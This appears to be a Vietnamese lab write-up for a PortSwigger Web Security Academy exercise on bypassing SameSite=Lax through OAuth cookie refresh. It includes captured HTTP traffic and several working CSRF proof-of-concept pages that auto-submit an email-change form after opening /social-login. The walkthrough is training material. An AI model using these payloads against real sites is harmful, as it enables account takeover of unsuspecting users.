Set-Cookie: _session=9PRizxE8gxzIkCTHgrqU4; path=/; expires=Sun, 07 Apr 2024 07:19:56 GMT; samesite=none; secure; httponly
Set-Cookie: _session.legacy=9PRizxE8gxzIkCTHgrqU4; path=/; expires=Sun, 07 Apr 2024 07:19:56 GMT; secure; httponly
Location: https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/oauth-callback?code=_DYRUJxJUHrV5FeRdCJtkfweygHeMnMQnM-Eaz_Aj5W
Content-Type: text/html; charset=utf-8
Date: Sun, 24 Mar 2024 07:19:56 GMT
Keep-Alive: timeout=5
Content-Length: 289
 
Redirecting to <a href="https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/oauth-callback?code=_DYRUJxJUHrV5FeRdCJtkfweygHeMnMQnM-Eaz_Aj5W">https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/oauth-callback?code=_DYRUJxJUHrV5FeRdCJtkfweygHeMnMQnM-Eaz_Aj5W</a>.

Trang web được điều hướng đến redirect URL là https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/oauth-callback kèm theo authorization code là _DYRUJxJUHrV5FeRdCJtkfweygHeMnMQnM-Eaz_Aj5W. Response của request đến redirect URL là:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=49afXFttLhF9Ko38f4XUoGOH9WiwusDu; Expires=Mon, 25 Mar 2024 07:19:56 UTC; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 2948

Important

Có thể thấy, cookie session đã được thay đổi thành một giá trị khác. Đồng thời, ứng dụng không sử dụng thuộc tính SameSite nên trình duyệt sẽ mặc định SameSite=Lax.

Sơ đồ minh họa:

Thử thay đổi email thì thấy request không có CSRF token nên ta có thể tấn công nếu có thể bypass được thuộc tính SameSite=Lax:

POST /my-account/change-email HTTP/2
Host: 0aa300c803801ef6845b2dd300f20005.web-security-academy.net
Cookie: session=49afXFttLhF9Ko38f4XUoGOH9WiwusDu
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=wiener%40normal-user.net

Generate PoC từ request thay đổi email:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0aa300c803801ef6845b2dd300f20005.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lưu và xem exploit thì có hai trường hợp xảy ra:

Trường hợp 1: nếu người dùng đã đăng nhập hơn 2 phút thì trang web sẽ chuyển hướng đến OAuth flow do không có session cookie đính kèm trong cross-site request và cuộc tấn công thất bại.

Trường hợp 2: nếu người dùng vừa đăng nhập chưa được 2 phút thì cuộc tấn công thành công và chúng ta thay đổi được email do session cookie được đính kèm trong cross-site request. Request gửi đi từ exploit server có dạng như sau:

POST /my-account/change-email HTTP/2
Host: 0aa300c803801ef6845b2dd300f20005.web-security-academy.net
Cookie: session=4KoMMVRoSDbVXJQ26AFHKU1hzpxa5Hmu
Content-Length: 30
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a3600a10333c2ba861597b7012f00d2.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://exploit-0a3600a10333c2ba861597b7012f00d2.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=csrf%40normal-user.net

Chú ý rằng khi chúng ta truy cập vào trang /social-login (hoặc được chuyển hướng đến do không có session cookie trong request) thì nó sẽ luôn bắt đầu một quá trình ủy quyền OAuth mới. Do đã đăng nhập trước đó nên authorization server của dịch vụ OAuth trả về một authoriztion code mới ngay lập tức.

Redirect request:

GET /oauth-callback?code=gSX4Owl6b1Qa3izNwq0htw-EYdiIxJbC6s3AoUYT81N HTTP/2
Host: 0a3f001003b9c212861998d000b100d4.web-security-academy.net
Cookie: session=PPhD2CFwaT3KwOmKzucS1TRNiYemoA3s
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://0a3f001003b9c212861998d000b100d4.web-security-academy.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8

Response trả về cũng set một cookie mới:

HTTP/2 200 OK
Content-Type: text/html; charset=utf-8
Set-Cookie: session=X8VCviVy3jRYzpQmM8wCZtrPRXnSp2XJ; Expires=Mon, 25 Mar 2024 09:46:30 UTC; Secure; HttpOnly
X-Frame-Options: SAMEORIGIN
Content-Length: 2948

Ngay tại thời điểm này, ta có thể thực hiện tấn công CSRF.

Như vậy, kịch bản tấn công sẽ bao gồm những bước sau:

  1. Gửi request đến /social-login để bắt đầu quá trình ủy quyền OAuth nhằm làm mới session cookie.
  2. Thực hiện CSRF attack (thay đổi email).

Xây dựng PoC như sau:

<html>
 
<body>
  <form action="https://0a3f001003b9c212861998d000b100d4.web-security-academy.net/my-account/change-email"
    method="POST">
    <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
  </form>
  <script>
    window.open("https://0a3f001003b9c212861998d000b100d4.web-security-academy.net/social-login");
 
    const changeEmail = () => document.forms[0].submit();
    setTimeout(changeEmail, 10000)
  </script>
</body>
 
</html>

Chú ý rằng ta sử dụng hàm window.open để mở một cửa sổ mới cho endpoint /social-login. Điều này giúp đảm bảo trang web không bị redirect trước khi request thay đổi email được gửi.

Info

Hàm window.open sẽ mở một cửa sổ mới, một tab mới hoặc một iframe (trang web nhúng trong một trang web khác).

Khi chạy PoC trên thì ta gặp phải một vấn đề: trình duyệt block pop-up window. Lý do là vì trình duyệt chỉ cho phép mở các pop-up window nếu thông qua tương tác thủ công của người dùng. Ví dụ, đoạn code sau sẽ bị block:

window.open('https://vulnerable-website.com/login/sso');

Chúng ta có thể bọc đoạn code trên trong một onclick event listener:

window.onclick = () => {
    window.open('https://vulnerable-website.com/login/sso');
}

Khi người dùng click vào bất kỳ đâu trong trang web thì pop-up window sẽ được mở.

Sửa lại PoC như sau:

<html>
 
<body>
  <form action="https://0a3f001003b9c212861998d000b100d4.web-security-academy.net/my-account/change-email"
    method="POST">
    <input type="hidden" name="email" value="csrf&#64;normal&#45;user&#46;net" />
  </form>
  <script>
    window.onclick = () => {
      window.open("https://0a3f001003b9c212861998d000b100d4.web-security-academy.net/social-login");
    }
 
    const changeEmail = () => document.forms[0].submit();
    setTimeout(changeEmail, 10000)
  </script>
</body>
 
</html>

Xem exploit và ta thấy được một cross-site POST request có đình kèm cookie:

POST /my-account/change-email HTTP/2
Host: 0a3f001003b9c212861998d000b100d4.web-security-academy.net
Cookie: session=hy87u4EpQ9ZSRACtT0CFK6xpWQuwgUjW
Content-Length: 28
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://exploit-0a3600a10333c2ba861597b7012f00d2.exploit-server.net
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: https://exploit-0a3600a10333c2ba861597b7012f00d2.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: vi,en-US;q=0.9,en;q=0.8
 
email=csrf%40normal-user.net
list
from outgoing([[Port Swigger - Bypassing SameSite Cookie Restrictions]])
sort file.ctime asc

Resources

Footnotes

  1. top-level navigation là việc thay đổi URL của browser. Các tài nguyên được nạp lên bởi <iframe>, <img> hoặc <script> không làm thay đổi URL nên không gây ra top-level navigation.

  2. xem thêm bài lab Lab Cross-site WebSocket Hijacking